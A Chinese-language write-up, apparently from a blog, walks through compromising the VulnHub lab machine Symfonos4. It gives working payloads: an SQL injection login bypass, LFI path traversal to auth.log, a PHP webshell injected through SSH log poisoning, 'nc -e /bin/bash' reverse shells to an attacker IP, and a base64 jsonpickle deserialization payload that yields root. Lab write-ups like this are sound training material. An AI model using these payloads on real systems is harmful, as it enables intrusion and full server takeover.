2026-10-16 10:35:42 网络安全文章来源：ZONE.CI 全球网 0 阅读模式

Vulnhub靶机实战 - Symfonos4

Hash-Sec
Hash-Sec

Hash-Sec

2026年9月22日 16:52
浙江

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

NOIR BRIEF

商业观察 · 长期主义

Symfonos4 靶机渗透记录

Symfonos4 是 VulnHub 平台上的中等难度 Linux 靶机，目标 IP 192.168.68.172。该靶机完整演示了一条经典的 Web 层渗透链：目录枚举发现登录入口 → SQL 注入万能密码绕过认证 → 文件包含（LFI）读取系统日志 → 日志注入写入 WebShell → 反弹 shell 获取 foothold → 配置文件泄露数据库凭据 → socat 端口转发访问内网服务 → JWT Cookie 中的 jsonpickle 反序列化漏洞直接获取 root。

商业 · 财经 · 组织

NO. 001

主机发现与端口扫描

通过 ARP 扫描确认目标主机存活：

bash

1arp-scan -l

3192.168.68.172 00:0c:29:63:e8:37 VMware, Inc.

目标 IP 为 192.168.68.172。

访问 80 端口，主页为静态页面，未发现明显功能点。

执行全端口 TCP SYN 扫描：

bash

1nmap -p- -A -T4 192.168.68.172

3PORT STATE SERVICE VERSION

422/tcp open ssh OpenSSH 7.9p1 Debian 10

580/tcp open http Apache httpd 2.4.38 ((Debian))

仅开放 22（SSH）和 80（HTTP）两个端口。SSH 暂无可利用的弱口令或已知 CVE，攻击面优先从 Web 服务展开。

对 Web 根目录执行字典枚举，附带 php/zip/bak/txt/html 扩展名：

bash

1gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-1.0.txt -u http://192.168.68.172/ -x php,zip,bak,txt,html

扫描结果：

index.html — 200

robots.txt — 403

sea.php — 302 重定向至 atlantis.php

sea.php 发生 302 重定向，说明这是一个需要认证的入口脚本，重定向目标 atlantis.php 即为登录页面。

SQL 注入绕过认证

访问 sea.php 被重定向至登录页。登录表单的用户名和密码查询未做参数化处理，存在经典 SQL 注入漏洞。使用万能密码绕过认证：

bash

1用户名: 1' or 1=1 -- s

2密码: 任意

1' or 1=1 -- s 的原理是闭合 SQL 语句中的字符串引号，插入永真条件 or 1=1，再用 -- 注释掉后续语句，使查询恒返回真，从而绕过认证直接登录。

登录成功后，页面显示一个选择神（deity）的下拉框，选择后 URL 变为：

bash

1/sea.php?file=hades

file 参数直接控制后端读取的文件路径——这是一个典型的本地文件包含（LFI）漏洞。

LFI 读取 SSH 认证日志

既然 file 参数可控，尝试读取 SSH 登录日志 /var/log/auth.log。注意靶机可能在文件后自动追加 .php 后缀，因此尝试不加 .log：

bash

1http://192.168.68.172/sea.php?file=../../../../../../var/log/auth

路径穿越 ../../../../../../ 跳出 Web 根目录，读取系统日志文件。

成功读取到 SSH 认证日志内容——日志中记录了所有 SSH 登录尝试的用户名和密码。

LFI 到 RCE 的核心思路：文件包含漏洞本身只能读文件，但如果能控制日志文件的内容，就能通过日志注入实现代码执行。SSH 日志记录了所有登录尝试的用户名，而用户名是攻击者完全可控的——把 PHP 代码作为用户名进行 SSH 连接，代码就会被写入日志文件，再通过 LFI 读取日志文件时，PHP 代码就会被执行。

SSH 日志注入获取 RCE

使用任意 SSH 客户端（此处为 FinalShell）进行连接，将一句话 PHP 代码作为用户名传入：

bash

1用户名: <?php echo system($\_POST['cmd']); ?>

2密码: 任意

这次 SSH 连接尝试会被记录到 /var/log/auth.log 中，PHP 代码以纯文本形式写入日志。

现在通过 LFI 读取这个日志文件，并携带 POST 参数 cmd 执行系统命令：

bash

1POST /sea.php?file=../../../../../var/log/auth

2cmd=id

命令执行成功，返回 www-data 用户身份。

反弹 Shell 与数据库凭据提取

通过 POST 参数注入反弹 shell 命令：

bash

1nc -e /bin/bash 192.168.68.156 1111

Kali 监听端口收到反弹连接，获取交互式 shell：

bash

1python -c \"import pty;pty.spawn('/bin/bash');\"

获得 www-data 权限后，首先检查 Web 目录下的配置文件。登录页面的 PHP 源码中硬编码了数据库凭据：

php

1define('DB\_USERNAME', 'root');

2define('DB\_PASSWORD', 'yVzyRGw3cG2Uyt2r');

使用该凭据登录 MySQL 数据库，检查 db.users 表：

表中仅有一个用户，密码哈希无法直接破解。数据库阶段没有直接突破，转向内网侦察。

内网端口转发与 8080 服务

执行 ss -tuln 检查本地监听端口：

bash

1LISTEN 0 128 127.0.0.1:8080 0.0.0.0:\*

发现 127.0.0.1:8080 上运行着一个仅绑定本地回环的 Web 服务，外部无法直接访问。使用 socat 做 TCP 端口转发：

bash

1socat tcp-listen:7000,reuseaddr,fork tcp:localhost:8080

将靶机的 7000 端口转发到本地 8080，然后通过 http://192.168.68.172:7000 访问该服务。

JWT Cookie 与 jsonpickle 反序列化

访问 8080 端口的 Web 服务后，抓包分析 Cookie，发现其中包含一段 JWT Token。Base64 解码后内容为：

json

1{\"py/object\": \"app.User\", \"username\": \"Poseidon\"}

这是 jsonpickle 序列化的 Python 对象。jsonpickle 是一个 Python 库，用于将 Python 对象序列化为 JSON 格式。如果服务端直接反序列化用户可控的 JSON 数据而未做安全过滤，就会触发反序列化漏洞——攻击者可以构造恶意 JSON，在服务端执行任意代码。

构造反序列化 payload，利用 Python 的 os.system 执行反弹 shell 命令：

json

1{\"py/object\":\"main.Shell\",\"py/reduce\":[{\"py/type\":\"os.system\"},{\"py/tuple\":[\"/usr/bin/nc -e /bin/bash 192.168.68.156 1111\"]},null,null,null]}

Base64 编码后替换 Cookie 中的 JWT 值，刷新页面触发反序列化：

bash

1eyJweS9vYmplY3QiOiJtYWluLlNoZWxsIiwicHkvcmVkdWNlIjpbeyJweS90eXBlIjoib3Muc3lzdGVtIn0seyJweS90dXBsZSI6WyIvdXNyL2Jpbi9uYyAtZSAvYmluL2Jhc2ggMTkyLjE2OC42OC4xNTYgMTExMSJdfSxudWxsLG51bGwsbnVsbF19

Kali 监听端口收到反弹连接，确认 UID：

bash

1uid=0(root) gid=0(root) groups=0(root)

直接获取 root 权限，无需二次提权。

反序列化漏洞原理：jsonpickle 的 py/reduce 机制允许在反序列化时指定任意可调用对象及其参数。当服务端使用 jsonpickle.decode() 处理用户输入时，攻击者可以构造 py/reduce 指向 os.system 或 subprocess.call，实现任意命令执行。这与 Java 反序列化漏洞（如 Fastjson、Jackson）的攻击模型完全一致。

完整攻击链路

攻击阶段	技术手段	关键输出
信息收集	ARP 扫描 + nmap + gobuster 目录枚举	发现 sea.php 登录入口
认证绕过	SQL 注入万能密码 1' or 1=1 -- s	登录成功，发现 ?file= 参数
文件读取	LFI 路径穿越读取 /var/log/auth	获取 SSH 认证日志
代码执行	SSH 日志注入 PHP 一句话 + LFI 触发	获取 www-data 命令执行
Foothold	POST 注入反弹 shell	获取交互式 shell
凭据提取	配置文件硬编码数据库密码	root / yVzyRGw3cG2Uyt2r
内网突破	socat 端口转发访问 127.0.0.1:8080	发现 JWT 认证服务
权限提升	jsonpickle 反序列化 + py/reduce 调用 os.system	直接获取 root

该靶机的核心设计思路：从 SQL 注入到 LFI 再到日志注入，每一步都是 Web 安全经典漏洞的组合利用；最终的提权不依赖内核漏洞或配置错误，而是通过内网服务的反序列化漏洞一步到位。整条链覆盖了 OWASP Top 10 中的 SQL Injection、File Inclusion、Insecure Deserialization 三大类漏洞。

关联知识点

SQL 注入万能密码：1' or 1=1 -- s 利用 SQL 语句字符串闭合 + 永真条件 + 注释符绕过认证。仅适用于字符串拼接的非参数化查询。

LFI（本地文件包含）：?file= 参数未做路径过滤，通过 ../ 路径穿越读取任意文件。常见于 PHP include() / require() 直接拼接用户输入。

SSH 日志注入：将 PHP 代码作为 SSH 用户名进行连接尝试，代码被写入 /var/log/auth.log。结合 LFI 读取日志文件，PHP 代码被解析执行，实现 LFI → RCE 转换。

jsonpickle 反序列化漏洞：jsonpickle 支持 py/object 和 py/reduce 关键字，允许在反序列化时实例化任意对象并调用任意函数。服务端若直接 jsonpickle.decode() 用户输入，等同于 RCE。

socat 端口转发：socat tcp-listen:PORT,fork tcp:TARGET\_IP:TARGET\_PORT 将本地端口转发到远程地址，用于访问仅绑定回环的内网服务。

写在最后

看到这儿，说明你把它读完了。这类文章能走多远，只取决于两件事：你的在看和转发。

顺手关注并设为星标，下一篇更新第一时间见。

END OF ISSUE

保持长期主义